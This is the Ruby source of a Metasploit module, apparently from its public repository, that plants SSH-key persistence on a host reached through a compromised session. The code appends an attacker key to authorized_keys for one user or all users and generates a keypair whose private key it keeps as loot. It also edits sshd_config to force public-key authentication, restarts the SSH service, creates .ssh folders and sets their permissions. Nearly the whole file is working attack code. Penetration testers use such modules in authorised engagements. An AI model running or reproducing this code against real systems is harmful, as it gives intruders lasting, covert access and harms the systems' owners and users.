Path: blob/master/modules/exploits/multi/persistence/ssh_key.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'sshkey'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910prepend Msf::Exploit::Remote::AutoCheck11include Msf::Post::File12include Msf::Post::Unix13include Msf::Post::Windows::UserProfiles14include Msf::Exploit::EXE15include Msf::Exploit::Local::Persistence16include Msf::Exploit::Deprecated17moved_from 'post/linux/manage/sshkey_persistence'18moved_from 'post/windows/manage/sshkey_persistence'1920def initialize(info = {})21super(22update_info(23info,24'Name' => 'SSH Key Persistence',25'Description' => %q{26This module will add an SSH key to a specified user (or all), to allow27remote login via SSH at any time. No payload is required for this module to work.2829If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.30The private key will be stored as loot for later use.31},32'License' => MSF_LICENSE,33'Author' => [34'h00die <[email protected]>', # linux35'Dean Welch <dean_welch[at]rapid7.com>' # windows36],37'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload38'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload39'SessionTypes' => [ 'meterpreter', 'shell' ],40'References' => [41['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],42['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],43['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],44['URL', 'https://stackoverflow.com/a/50502015']45],46'Targets' => [47[ 'Automatic', {} ]48],49'DefaultTarget' => 0,5051'Stance' => Msf::Exploit::Stance::Aggressive,52'Passive' => false,53'DefaultOptions' => {54'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven55'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues56},57'DisclosureDate' => '1995-07-01', # ssh first release58'Notes' => {59'Stability' => [CRASH_SAFE],60'Reliability' => [EVENT_DEPENDENT],61'SideEffects' => [CONFIG_CHANGES]62}63)64)6566register_options([67OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),68OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),69OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),70OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])71])7273deregister_options('WritableDir')74deregister_options('PAYLOAD')75end7677def check78return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)7980enabled = pubkey_enabled?81if enabled.nil?82print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')83elsif enabled == false84return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")85end8687CheckCode::Appears('Likely vulnerable')88end8990def sshd_config_file91return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?9293if session.platform == 'windows'94'C:\ProgramData\ssh\sshd_config'95else # assume *nix96'/etc/ssh/sshd_config'97end98end99100def target_admin_user?101!datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)102end103104def set_pub_key_file_permissions(file, username = nil)105if session.platform == 'windows'106return unless target_admin_user?107108cmd_exec("icacls #{file} /inheritance:r")109cmd_exec("icacls #{file} /grant SYSTEM:(F)")110cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")111else112chmod(file, 0o600)113unless username.nil?114cmd_exec("chown #{username}:#{username} #{file}")115end116end117end118119def windows_service_owner120service_info = cmd_exec('sc qc sshd')121/SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info122owner123end124125def write_key(paths, auth_key_file, sep)126if datastore['PUBKEY'].nil?127key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41128our_pub_key = key.ssh_public_key129private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')130print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")131else132our_pub_key = ::File.read(datastore['PUBKEY'])133end134135paths.each do |path|136path.chomp!137authorized_keys = "#{path}#{sep}#{auth_key_file}"138next unless file?(authorized_keys)139140# make a backup of the authorized_keys file so we can add it to the restore rc141auth_keys_backup = read_file(authorized_keys)142loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')143@clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"144# start exploiting145print_status("Adding key to #{authorized_keys}")146append_file(authorized_keys, "\n#{our_pub_key}")147set_pub_key_file_permissions(authorized_keys)148print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"149print_good 'use auxiliary/scanner/ssh/ssh_login'150print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"151next unless datastore['PUBKEY'].nil?152153path_array = path.split(sep)154path_array.pop155user = path_array.pop156credential_data = {157origin_type: :session,158session_id: session.db_record ? session.db_record.id : nil,159post_reference_name: refname,160private_type: :ssh_key,161private_data: key.private_key.to_s,162username: user,163workspace_id: myworkspace_id164}165166create_credential(credential_data)167end168end169170def pubkey_enabled?171print_status('Checking SSH Permissions')172if session.platform != 'windows' && !readable?(sshd_config_file)173return nil174end175176sshd_config = read_file(sshd_config_file)177return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors178179if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config180# If the line exists, check if it's commented or explicitly "no"181if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'182print_error('Pubkey Authentication disabled')183enable_pub_key_auth(sshd_config)184if read_file(sshd_config_file) == sshd_config185print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')186return false187else188print_good('PubkeyAuthentication enabled successfully')189end190else191vprint_good("Pubkey set to #{pub_key}")192end193else194# No PubkeyAuthentication line found at all — treat as disabled195print_error('Pubkey Authentication not found, assuming disabled')196enable_pub_key_auth(sshd_config)197end198199# also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info200if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?201fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")202end203204true205end206207def enable_pub_key_auth(sshd_config)208vprint_status('Attempting to enable pubkey authentication in sshd_config')209loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')210@clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"211sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')212write_file(sshd_config_file, sshd_config)213if session.platform == 'windows'214cmd_exec('net stop "OpenSSH SSH Server"')215cmd_exec('net start "OpenSSH SSH Server"')216else217cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')218end219end220221def authorized_keys_file222print_status('Determining authorized_keys file')223if session.platform == 'windows' && target_admin_user?224return 'administrators_authorized_keys'225end226if session.platform != 'windows' && !readable?(sshd_config_file)227return nil228end229230sshd_config = read_file(sshd_config_file)231return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported232233%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config234if auth_key_file235auth_key_file = auth_key_file.gsub('%h', '')236auth_key_file = auth_key_file.gsub('%%', '%')237if auth_key_file.start_with? '/'238auth_key_file = auth_key_file[1..]239end240else241auth_key_file = ".ssh#{sep}authorized_keys"242end243print_status("Authorized Keys File: #{auth_key_file}")244auth_key_file245end246247def sep248if session.type == 'meterpreter'249return session.fs.file.separator250elsif session.platform == 'windows'251return '\\'252end253254return '/'255end256257def find_user_folders(auth_key_folder)258paths = []259# all users260if datastore['USERNAME'].nil?261if session.platform == 'windows'262paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }263else # assume *nix264paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }265end266# admin user267elsif target_admin_user?268if session.platform == 'windows'269paths = ['C:\ProgramData\ssh']270else # assume *nix271paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]272end273# specific user274elsif session.platform == 'windows'275user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }276if user_profile277paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]278else279print_error("User #{datastore['USERNAME']} not found")280end281else # assume *nix282user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }283if user_profile284paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]285else286print_error("User #{datastore['USERNAME']} not found")287end288end289paths.map! { |p| p.delete("\r\n") }290paths291end292293def install_persistence294auth_key_file = authorized_keys_file295unless auth_key_file296print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')297auth_key_file = ".ssh#{sep}authorized_keys"298end299# ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here300auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)301auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last302home_folders = find_user_folders(auth_key_folder)303vprint_status("Found #{home_folders.length} potential user folders")304305# double check all the folders and files exist that we need306home_folders = home_folders.select do |d|307authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"308d_exists = directory?(d)309310if !d_exists && !datastore['CREATESSHFOLDER']311print_warning("No .ssh folder found for #{d}, skipping...")312false313elsif !d_exists314if session.platform == 'windows'315session.fs.dir.mkdir(d)316else317cmd_exec("mkdir -m 700 -p #{d}")318cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")319end320@clean_up_rc << "rmdir #{d}\n"321end322323f_exists = file?(authorized_keys_path)324if !f_exists && !datastore['CREATESSHFOLDER']325print_warning("No #{authorized_keys_path} file found, skipping...")326false327elsif !f_exists328unless write_file(authorized_keys_path, '')329print_warning("Unable to create #{authorized_keys_path}, skipping...")330false331end332if session.platform == 'windows'333set_pub_key_file_permissions(authorized_keys_path)334else335set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])336end337end338true339end340341vprint_status("Found #{home_folders.length} confirmed user folders")342343if home_folders.nil? || home_folders.empty?344fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")345end346347write_key(home_folders, auth_key_file, sep)348end349350end351352353